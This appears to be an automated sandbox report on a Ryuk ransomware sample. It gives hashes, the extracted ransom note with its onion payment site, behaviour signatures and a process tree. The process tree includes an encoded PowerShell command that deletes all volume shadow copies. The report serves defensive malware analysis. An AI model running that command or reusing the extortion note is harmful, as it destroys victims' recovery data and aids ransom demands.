Overview

overview

10

Static

static

10

539a513063...86.exe

windows7_x64

10

539a513063...86.exe

windows10_x64

10

Analysis

  • max time kernel
    150s
  • max time network
    163s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    24-01-2022 02:04

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General

  • Target

    539a513063f2e63bd8aed97d72743cb1116dc1cd650fdd395e674c73211aa086.exe

  • Size

    115KB

  • MD5

    a7fb22ce8607c5177048d423c07a7181

  • SHA1

    39edcd77f2800c460fd3540e6211a87c965e238d

  • SHA256

    539a513063f2e63bd8aed97d72743cb1116dc1cd650fdd395e674c73211aa086

  • SHA512

    54e7e21f441575af43674a4b9bdc11da608db1335f2bb74359891edaa529c07e9b87bd3f91cc07ef116fb3d490c32a2c5704b58a1cdb42d3acc7c838ac83cbed

Score
10/10
ryukransomware

Malware Config

Extracted

Path

C:\6wedt-readme.txt

Family

ryuk

Ransom Note
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your computer has extension 6wedt. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. I suggest you read about us on the Internet, we are known as "Sodinokibi Ransomware". For example, this article: https://www.coveware.com/blog/2019/7/15/ransomware-amounts-rise-3x-in-q2-as-ryuk-amp-sodinokibi-spread Pay attention to that: "How Much Data Is Decrypted with a Ransomware Decryptor? In Q2 2019, victims who paid for a decryptor recovered 92% of their encrypted data. This statistic varied dramatically depending on the ransomware type. For example, Ryuk ransomware has a relatively low data recovery rate, at ~ 87%, while Sodinokibi was close to 100%. " Now you have a guarantee that your files will be returned 100 %. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/60A538E431202EFA 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/60A538E431202EFA Warning: secondary website can be blocked, thats why first variant much better and more available. If you have problem with connect, use strictly TOR version 8.5.5 link for download TOR version 8.5.5 here: https://filehippo.com/download_tor_browser_for_windows/ When you open our website, put the following data in the input form: Key: wRejYGGrU2vwAfIlEOcwQLDwh9ppKkmysKoTxXH1rX5e5/cMY57wxnrvBUNOPZeS 32mgB7eicYI5356gsMf/g45CMEecY1y4o3RFPU01AXL2TYwOypj2g02Aj8CieekG SElQn5/OUBGG7PSUAC6gV1Ynvvj5T1Zw1JWSPhx4UnvxlSLG+GmJzqIw/axMSzyL OHZjWuYSndnkYodYg9SMqKKB+S129wMU1C9jQYP5oHaXE8cCewuigtFnDo8yu17u ivdXvjKJTVGDPaOjYPK1bUejrImPsFwNPSmvZHXUq0ES/32xx+P2M8TPREEyGu4l eZFH6nBt7sTsxs/4fTfVOtGgE74SrGPvtTGKSraA+UqSNgSAM/u8CZEQOb6m8eun fUs8Qo5D4OZrnSiY6Q49QWN2HwBXX8xu6J4Ah+ND9Bxfj6a9kX0yP4D8QB68kIGQ 0eRIXkHCcTW5UkK1hgiLqXF0pn5fq7dvjMy1AU2ch50feLQUD2uR53jjTLM8jNaO Idn0ZRfjvZXIqIMC3LoZJV2As2alZemhO5zRxvJkfEsviQGFFyrgHGigyfF7D1ux mHE/KeO0IDuCAqzBR+nFuxY3eUtJRmPXDqGnNo6mciJb+G73SmgzjQgHD9Pl2chx hJ+Jg9h0qGCxcCKJ9M82uuw5LJIDZ+X+0gmtH5UfPy/34s6LvAHbmieybcXBUglw yNh0c0chPQ/ZN5VHJ2apV9tiLxNuQFIftqq8GVuO5QELILVV76hW+FTDdUI5ghEe XtN1KUQM/BimyNhiIL2YOEMCFlSmzQd/q3QU12ecococ5/JctwlTdSKup6H/0y2X Wa1JIAL4YddJygqlufsa8tnAL4pG74YJ3sgOdJtD3ulm9YJTHosEUOCZjnMD+fPo UCFOzDyFEMkb9bzK3/4Jc53UCHfx1IOCRUPWqSxWshDqe8h0qYLnVVC5cAT2tTwK HPYsSnO6ss21/aIfbdsqV25JDz2c5GuzI+Y+VcmhViLP9BtlnULDQ/dMHG/AwZSL qa1ZNB2WsrQRFDvWXO3QC1jZIna3ihLQrL/jmwYHOXqQBgKIsYB/wGNsvGabu+oT N27d6eOJENZr5COZjMCjxsotx/+nD4DizH+yCIAb8C+wsv9wTf5XwPSNZo+y97J1 iQJpwTyr7fPA0iq8YLPnlgW4L0HpRXJH2sS28SDNG+b/2bcQhmefHiafUqAroYI8 Xz+Je3VkAqJi5iFcl9+K+8RuaFsfXLz1LDCvn+HduM2WEe2qJq6TxRwMfXSu5Yur RF5tGeWsx9nykskQXBwg4aUYVkDRcw== Extension name: 6wedt ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

https://www.coveware.com/blog/2019/7/15/ransomware-amounts-rise-3x-in-q2-as-ryuk-amp-sodinokibi-spread

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/60A538E431202EFA

http://decryptor.cc/60A538E431202EFA

https://filehippo.com/download_tor_browser_for_windows/

Signatures

  • Ryuk

    Ransomware distributed via existing botnets, often Trickbot or Emotet.

    ransomwareryuk
  • Modifies extensions of user files 8 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Drops file in Program Files directory 20 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
    evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\539a513063f2e63bd8aed97d72743cb1116dc1cd650fdd395e674c73211aa086.exe
    "C:\Users\Admin\AppData\Local\Temp\539a513063f2e63bd8aed97d72743cb1116dc1cd650fdd395e674c73211aa086.exe"
    1⤵
    • Modifies extensions of user files
    • Enumerates connected drives
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1528
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1328
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:1180
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1056

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • memory/1328-56-0x000007FEFC281000-0x000007FEFC283000-memory.dmp

      Filesize

      8KB

      Download

    • memory/1328-58-0x0000000002340000-0x0000000002342000-memory.dmp

      Filesize

      8KB

      Download

    • memory/1328-59-0x0000000002342000-0x0000000002344000-memory.dmp

      Filesize

      8KB

      Download

    • memory/1328-60-0x0000000002344000-0x0000000002347000-memory.dmp

      Filesize

      12KB

      Download

    • memory/1328-57-0x000007FEF3690000-0x000007FEF41ED000-memory.dmp

      Filesize

      11.4MB

      Download

    • memory/1328-61-0x000000001B6F0000-0x000000001B9EF000-memory.dmp

      Filesize

      3.0MB

      Download

    • memory/1328-62-0x000000000234B000-0x000000000236A000-memory.dmp

      Filesize

      124KB

      Download

    • memory/1528-55-0x0000000075B11000-0x0000000075B13000-memory.dmp

      Filesize

      8KB

      Download